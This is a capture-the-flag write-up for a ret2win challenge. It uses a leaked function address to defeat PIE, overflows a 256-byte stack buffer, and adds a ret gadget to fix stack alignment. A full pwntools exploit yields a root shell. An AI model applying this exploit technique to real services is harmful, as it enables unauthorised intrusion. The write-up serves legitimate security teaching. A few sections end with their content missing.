M4cCrypt0
back to overview

TryPwnMeOne: Random Memories — Write-up

Target: <target-IP>:9007 Binary: random (x86-64, PIE, dynamically linked)

1. Recon — checksec

text
Arch:       amd64-64-little
RELRO:      Full RELRO
Stack:      No canary found
NX:         NX enabled
PIE:        PIE enabled
SHSTK:      Enabled (compiled in — hardware support was missing on the test machine, so not actually active in practice)
IBT:        Enabled

Relevant to the approach:

2. Source analysis

c
int win(){
    system("/bin/sh\0");
}

void vuln(){
    char *buf[0x20];
    printf("I can give you a secret %llx\n", &vuln);
    puts("Where are we going? : ");
    read(0, buf, 0x200);
    puts("\nok, let's go!\n");
}

Two things stand out:

  1. printf leaks the runtime address of vuln() — this breaks PIE.
  2. read(0, buf, 0x200) reads 512 bytes into a buffer that is only 256 bytes large → stack-based buffer overflow.
  3. There is already a ready-made win() function that spawns /bin/sh — a classic ret2win.

3. Disassembly — determining offsets

Static offsets from nm/objdump (stay constant, regardless of ASLR):

Symbol Offset
vuln 0x1319
win 0x1210
ret gadget (__libc_csu_fini, endbr64; ret) 0x1424

Disassembly of vuln confirms the stack layout:

text
sub    $0x100,%rsp                    ; 256 bytes local space
lea    -0x100(%rbp),%rax              ; buf starts exactly at rbp-0x100
mov    $0x200,%edx                    ; read() reads 0x200 (512) bytes
call   read@plt
...
leave
ret

buf spans the whole sub $0x100 block without padding, so:

This was confirmed empirically locally with pwntools:

python
payload = cyclic(300)
# after crash: info registers rbp
cyclic_find(<rbp-value>)   # → 256, matches the calculation

4. PIE leak → computing addresses

The leak (&vuln as a hex string after "I can give you a secret ") gives the runtime address of vuln. Because PIE shifts the whole image by one fixed value, relative distances between symbols stay equal to the static offsets:

python
pie_base   = leaked_vuln - 0x1319
win_addr   = pie_base + 0x1210
ret_gadget = pie_base + 0x1424

5. The pitfall: stack alignment

A bare payload = b"A"*264 + p64(win_addr) crashes, even with the fully correct address. Reason: vuln() returns to win() via an overwritten ret, instead of via a normal call. That shifts the stack alignment by 8 bytes. win() calls system(), and glibc's do_system() internally uses SSE instructions that require 16-byte alignment — result: SIGSEGV deep inside do_system (confirmed via gdb: crash at do_system+363, not at the ret of vuln).

Fix: insert one extra ret gadget between the padding and win_addr. That gadget does nothing but immediately execute another ret, shifting rsp by 8 bytes — exactly enough to restore the alignment before system() is called.

python
payload  = b"A" * 264
payload += p64(ret_gadget)   # restores 16-byte alignment
payload += p64(win_addr)

6. Fastest path summarized

  1. checksec → no canary, PIE on, NX on, Full RELRO.
  2. Disassemble vuln/win → static offsets + confirm that buf sits directly at rbp-0x100 (no padding).
  3. Confirm the offset to the return address locally with cyclic() + cyclic_find()264.
  4. Connect, read the leak, compute pie_base = leak - 0x1319.
  5. Build the payload: 264 bytes padding + ret gadget (pie_base+0x1424) + win_addr (pie_base+0x1210).
  6. Send, interactive() → root shell.

7. Exploit

python
#!/usr/bin/env python3
from pwn import *

HOST = "<TARGET_IP>"
PORT = 9007

VULN_OFFSET   = 0x1319
WIN_OFFSET    = 0x1210
RET_OFFSET    = 0x1424
OFFSET_TO_RET = 264

io = remote(HOST, PORT)

io.recvuntil(b"I can give you a secret ")
leaked_vuln = int(io.recvline().strip(), 16)

pie_base   = leaked_vuln - VULN_OFFSET
win_addr   = pie_base + WIN_OFFSET
ret_gadget = pie_base + RET_OFFSET

payload  = b"A" * OFFSET_TO_RET
payload += p64(ret_gadget)
payload += p64(win_addr)

io.recvuntil(b"Where are we going? : ")
io.sendline(payload)

io.interactive()

8. Result

text
$ id
uid=0(root) gid=0(root) groups=0(root),987(docker)

Root shell obtained on the remote target.

9. Key lessons